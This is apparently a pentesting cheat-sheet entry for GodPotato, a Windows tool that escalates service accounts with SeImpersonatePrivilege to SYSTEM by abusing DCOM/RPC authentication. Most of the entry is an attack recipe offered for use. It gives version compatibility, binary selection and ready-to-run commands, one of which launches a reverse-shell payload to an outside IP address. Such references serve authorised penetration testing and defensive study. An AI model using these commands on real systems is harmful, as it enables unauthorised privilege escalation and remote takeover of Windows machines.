GodPotato

GodPotato abuses SeImpersonatePrivilege to escalate a service account to SYSTEM by triggering a SYSTEM RPC/DCOM authentication against a local fake OXID resolver, then impersonating the returned token. Unlike the older *Potato variants it works broadly across Windows Server 2012 R2 through 2022 and Windows 8 through 11. Pick the binary matching the installed .NET runtime (GodPotato-NET2/NET35/NET4). Requires SeImpersonatePrivilege or SeAssignPrimaryToken on the current token. Command Reference: Privilege required: SeImpersonatePrivilege

# Run a command as NT AUTHORITY\SYSTEM
GodPotato-NET4.exe -cmd "cmd /c whoami"

# Example: trigger a reverse shell payload as SYSTEM
GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\rev.exe 10.10.10.2 443"

Native

PrivEsc, Exploitation

MITRE

T1134.002

Requires

Shell

Services

DCOM, RPC

Refs

github.com/BeichenDream/GodPotato

book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato

attack.mitre.org/techniques/T1134/002/